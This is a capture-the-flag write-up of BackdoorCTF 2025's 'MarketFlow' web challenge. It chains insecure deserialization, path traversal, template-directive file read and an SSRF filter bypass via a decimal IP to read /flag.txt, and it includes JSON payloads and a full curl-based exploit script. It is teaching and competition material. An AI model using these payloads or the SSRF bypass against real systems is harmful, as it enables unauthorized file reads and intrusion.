BackdoorCTF 2025WebSolved

MarketFlow

PR
Prylo Team
December 10, 2025
5 min read

Competition

BackdoorCTF 2025

Difficulty

Easy

Points

100

Estimated Read

5 min

webinsecure-deserializationssrfpath-traversalchaining
Key Takeaways

Critical concepts & techniques

  • Chain Reactions: Vulnerabilities often need to be chained together (Deserialization → File Write → SSRF) to achieve significant impact.
  • Custom Deserialization Risks: Implementing custom object instantiation logic based on user input is a recipe for disaster.
  • SSRF Bypasses: IP addresses can be represented in unexpected ways (decimal, octal, hex) to bypass naive regex filters.
  • Trusted Internals: Internal endpoints restricted to `localhost` are still vulnerable if an SSRF exists anywhere in the system.

Challenge Overview

Marketing campaigns make companies bigger.

Instance: http://34.10.220.48:6002/

MarketFlow is a Flask-based marketing campaign management platform providing authentication, campaign management, analytics, and webhook forwarding.

Initial Analysis

Application Structure

  • services/object_manager.py: Custom deserialization mechanism.
  • services/cache_service.py: Contains PersistenceAdapter (File Write).
  • services/renderer.py: Contains TemplateRenderer (File Read).
  • services/webhook_service.py: Webhook functionality (SSRF).
  • Docker: Flag is at /flag.txt.

Vulnerability Analysis

1. Insecure Deserialization (Object Manager)

The ObjectManager instantiates classes based on a _type field in the JSON payload and recursively processes nested objects.

class ObjectManager:
    def deserialize(self, data):
        obj_type = data.get('_type')
        klass = self.registry[obj_type]
        # ... instantiates class with user data ...

2. Path Traversal in PersistenceAdapter

The PersistenceAdapter takes a storage_path and writes data to it. There is no verification that the path remains in the cache directory.

full_path = os.path.join('/var/tmp/sessionmaze/cache', self.storage_path)

3. Arbitrary File Read in Template Renderer

The legacy template renderer parses lines starting with @config: and includes the content of the specified file in the output.

if line.strip().startswith('@config:'):
    config_path = line.strip()[8:].strip()
    with open(config_path, 'r') as cf:
        content = cf.read()

4. SSRF via Decimal IP Bypass

The is_safe_url function blocks localhost, 127., 0.0.0.0, etc., but fails to block decimal IP representations.

127.0.0.1 == 2130706433 (Decimal)

5. Internal Endpoint

There is an internal endpoint /internal/cron/process that runs pending tasks. It is restricted to localhost, but our SSRF can reach it.

Exploit Development

Exploit Chain Diagram

[Attacker]
   |
   | 1. Register/Login
   | (Get Session)
   |---------------------------------------->
   |
   | 2. Schedule Task: Write Evil Template
   | (Insecure Deserialization -> Path Traversal)
   |---------------------------------------->
   | writes: ../templates/evil.tpl
   | content: @config:/flag.txt
   |
   | 3. Schedule Task: Render Evil Template
   | (Queues render task)
   |---------------------------------------->
   |
   | 4. Trigger Scheduler via SSRF
   | (Bypass IP filter w/ Decimal IP)
   |---------------------------------------->
   | POST http://2130706433:5000/internal/cron/process
   |
   | <--- Internal Scheduler Runs Tasks ---
   | 1. Writes evil.tpl
   | 2. Renders evil.tpl -> Reads /flag.txt
   |
   | 5. Get Report
   |---------------------------------------->
   | <--- flag{...} ---
   |

Step-by-Step Exploitation

Step 1: Register and Login

Standard account creation to get access to the API.

Step 2: Schedule Task to Write Malicious Template

We send a payload that uses the deserialization vulnerability to instantiate a PersistenceAdapter that writes our malicious template to the templates directory.

{
  "_type": "ReportConfiguration",
  "processor": {
    "_type": "AnalyticsProcessor",
    "output_config": {
      "_type": "CacheConfiguration",
      "objects": ["# -*- mode: legacy -*-\n@config:/flag.txt\n"],
      "persistence": {
        "_type": "PersistenceAdapter",
        "storage_path": "../templates/evil.tpl",
        "mode": "write"
      }
    }
  }
}

Step 3: Schedule Task to Render Template

We queue a second task that tells the system to render our newly created evil.tpl.

{
  "_type": "ReportConfiguration",
  "template": {
    "_type": "TemplateSpecification",
    "template_name": "evil.tpl"
  }
}

Step 4: Trigger Scheduler via SSRF

We use the webhook forwarding feature to hit the internal cron endpoint. We use the decimal representation of 127.0.0.1 (2130706433) to bypass the blacklist.

{
  "_type": "WebhookForwarder",
  "target_url": "http://2130706433:5000/internal/cron/process",
  "method": "POST"
}

Step 5: Retrieve the Flag

We visit the URL of the generated report, which now contains the flag embedded in the HTML comments.

Complete Exploit Script

#!/bin/bash

TARGET="${1:-http://34.10.220.48:6002}"
COOKIES="cookies_$$.txt"
USERNAME="attacker_$RANDOM"

echo "=== MarketFlow Exploit ==="
echo "Target: $TARGET"

# Cleanup on exit
trap "rm -f $COOKIES" EXIT

# 1. Register
echo "[1/5] Registering user..."
curl -s -c "$COOKIES" -X POST "$TARGET/api/auth/register" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"$USERNAME\",\"password\":\"password123\",\"email\":\"$USERNAME@test.com\"}" > /dev/null

# 2. Login
echo "[2/5] Logging in..."
curl -s -c "$COOKIES" -b "$COOKIES" -X POST "$TARGET/api/auth/login" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"$USERNAME\",\"password\":\"password123\"}" > /dev/null

# 3. Schedule Write
echo "[3/5] Scheduling malicious template write..."
curl -s -c "$COOKIES" -b "$COOKIES" -X POST "$TARGET/api/analytics/reports" \
  -H "Content-Type: application/json" \
  -d '{
    "_type": "ReportConfiguration",
    "report_type": "analytics",
    "date_range": "2024-01-01",
    "processor": {
        "_type": "AnalyticsProcessor",
        "data_source": "test",
        "output_config": {
            "_type": "CacheConfiguration",
            "cache_key": "exploit",
            "objects": ["# -*- mode: legacy -*-\n@config:/flag.txt\n"],
            "persistence": {
                "_type": "PersistenceAdapter",
                "storage_path": "../templates/evil.tpl",
                "mode": "write"
            }
        }
    }
}' > /dev/null

# 4. Schedule Render
echo "[4/5] Scheduling template render..."
RESULT=$(curl -s -c "$COOKIES" -b "$COOKIES" -X POST "$TARGET/api/analytics/reports" \
  -H "Content-Type: application/json" \
  -d '{
    "_type": "ReportConfiguration",
    "report_type": "analytics",
    "date_range": "2024-01-01",
    "template": {
        "_type": "TemplateSpecification",
        "template_name": "evil.tpl"
    }
}')

REPORT_URL=$(echo "$RESULT" | grep -o '"report_url":"[^"]*"' | cut -d'"' -f4)

# 5. Trigger SSRF
echo "[5/5] Triggering scheduler via SSRF..."
curl -s -c "$COOKIES" -b "$COOKIES" -X POST "$TARGET/api/webhooks/forward" \
  -H "Content-Type: application/json" \
  -d '{
    "_type": "WebhookForwarder",
    "target_url": "http://2130706433:5000/internal/cron/process",
    "method": "POST"
}' > /dev/null

# Fetch flag
echo ""
echo "=== FLAG ==="
curl -s "$TARGET$REPORT_URL" | grep -oP 'flag\{[^}]+\}'
Attack Chain Visualization
1

Insecure Deserialization: Exploited custom object manager `_type` field to instantiate arbitrary classes.

2

Path Traversal File Write: Used `PersistenceAdapter` via deserialization to write a malicious `.tpl` file to the templates directory.

3

Arbitrary File Read: Injected a malicious directive (`@config:/flag.txt`) into the template to read the flag.

4

SSRF Protection Bypass: Bypassed the URL filter using the decimal representation of `127.0.0.1` (`2130706433`).

5

Internal Execution: Used SSRF to hit the internal `/internal/cron/process` endpoint, triggering the scheduler to execute our malicious tasks.

Flag (confidential)

Visible only after reveal

Want to check the flag? Click below to reveal it.

Related Writeups